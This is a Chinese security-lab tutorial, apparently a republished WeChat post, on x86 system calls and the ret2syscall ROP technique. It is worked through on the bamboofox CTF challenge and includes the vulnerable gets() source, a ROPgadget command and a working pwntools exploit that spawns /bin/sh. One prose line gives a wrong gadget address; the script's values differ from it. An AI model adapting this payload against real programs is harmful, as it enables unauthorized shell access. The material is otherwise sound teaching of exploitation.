点击上方 [蓝字] 关注我们
Syscall
Syscall即系统调用,是指运行在ring3层级的用户程序向操作系统申请更高权限的操作。而系统调用则提供了二者的中间接口。
在类unix系统中,系统通过中断指令(INT 0x80)来触发系统调用,并用系统号来区分入口函数。其实现基本调用的过程是:
1. 应用程序调用库函数(API);
2. API 将系统调用号存入 EAX,然后通过中断调用使系统进入内核态;
3. 内核中的中断处理函数根据系统调用号,调用对应的内核函数(系统调用);
4. 系统调用完成相应功能,将返回值存入 EAX,返回到中断处理函数;
5. 中断处理函数返回到 API 中;
6. API 将 EAX 返回给应用程序。
从程序的视角来看会略微简单些:
1. 把系统调用的编号存入 EAX;
2. 把函数参数存入其它通用寄存器;
3. 触发 0x80 号中断(int 0x80)。
当然,现在已经有在线的网站将这些系统调用要用到的寄存器和调用号都整理出来了:
https://syscalls.w3challs.com/?arch=x86
假设需要调用execve(),
其接口为execve("/bin/sh",NULL,NULL),
则需要让EAX=0x0b,EBX=“/bin/sh的地址”,ECX=0,EDX=0即可,然后调用(INT 0x80)来调用。
Ret2Syscall
如果程序中没有system函数同时开了NX保护,那么可以尝试ret2syscall来进行攻击。其思路是先构造好syscall的指令。然后将其放入到指定的位置之后,将返回地址覆盖成该位置的地址。
而构造syscall的主要思路是如何利用现有程序中的汇编指令将寄存器塞入指定的值。从汇编语言的角度,将eax赋值指定的值就是利用mov指令或者pop指令将值移动到寄存器中。假设当前栈顶为1,那么执行pop eax后,EAX的值就是为1。同理要改动EBX寄存器,可以找到pop ebx。由于我们构造的数据只能放在栈空间里,就需要ret指令作为结尾,将下一个内存空间的值作为地址赋值给EIP,让EIP去指定的位置执行下一个动作,以此类推。
如果没办法找到一段连续的代码对我们想要的寄存器进行修改时,就必须一段一段地构造。构造完成的链条称为gadget。
以execve("/bin/sh",NULL,NULL)为例。需要赋值的寄存器有EAX、EBX、ECX和EDX。最方便的是找到一段指令为pop eax; pop ebx; pop ecx; pop edx; ret,否则需要分别查找以下操作指令的地址:
pop eax; ret;
pop ebx; ret;
pop ecx; ret;
pop edx; ret;
假设查找后的地址为:
地址A:pop eax; ret;
地址B:pop ebx; ret;
地址C:pop ecx; ret;
地址D:pop edx; ret;
而execve的中断向量为0x0b,“/bin/sh”的地址假设为0xABCD;后面两个参数为0;那么构造出的gadget在内存中的排布如图:
以bamboofox的ret2syscall题目为例子,其代码为:
char *shell = "/bin/sh";
int main(void)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
char buf[100];
printf("This time, no system() and NO SHELLCODE!!!n");
printf("What do you plan to do?n");
gets(buf);
return 0;
}
首先使用ROPgadget工具来查找响应的指令
ROPgadget --binary ret2syscall > a.txt
然后在a.txt中查找含有pop eax ; ret的地址
这里0x080bb196的地址是我们想要的。剩余的三个寄存器赋值恰好有一个地址能完成0x0806eb90
从C代码中看到,"/bin/sh"是初始化的全局变量,因此编译后有固定的值:
于是gadget可以构造成0x080bb196 + 0xb + 0x080bb196 + 0 + 0 + 0x080BE408,最后在拼接上int 0x80的地址来调用系统中断。
于是攻击代码如下:
#!/usr/bin/env python
from pwn import *
sh = process('./rop')
pop_eax_ret = 0x080bb196
pop_edx_ecx_ebx_ret = 0x0806eb90
int_0x80 = 0x08049421
binsh = 0x80be408
payload = flat(
['A' * 112, pop_eax_ret, 0xb, pop_edx_ecx_ebx_ret, 0, 0, binsh, int_0x80])
sh.sendline(payload)
sh.interactive()
End
刑天攻防实验室
扫码关注 了解更多内容
点个“在看”,你最好看。
原文始发于微信公众号(刑天攻防实验室):系统调用与ret2syscall
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论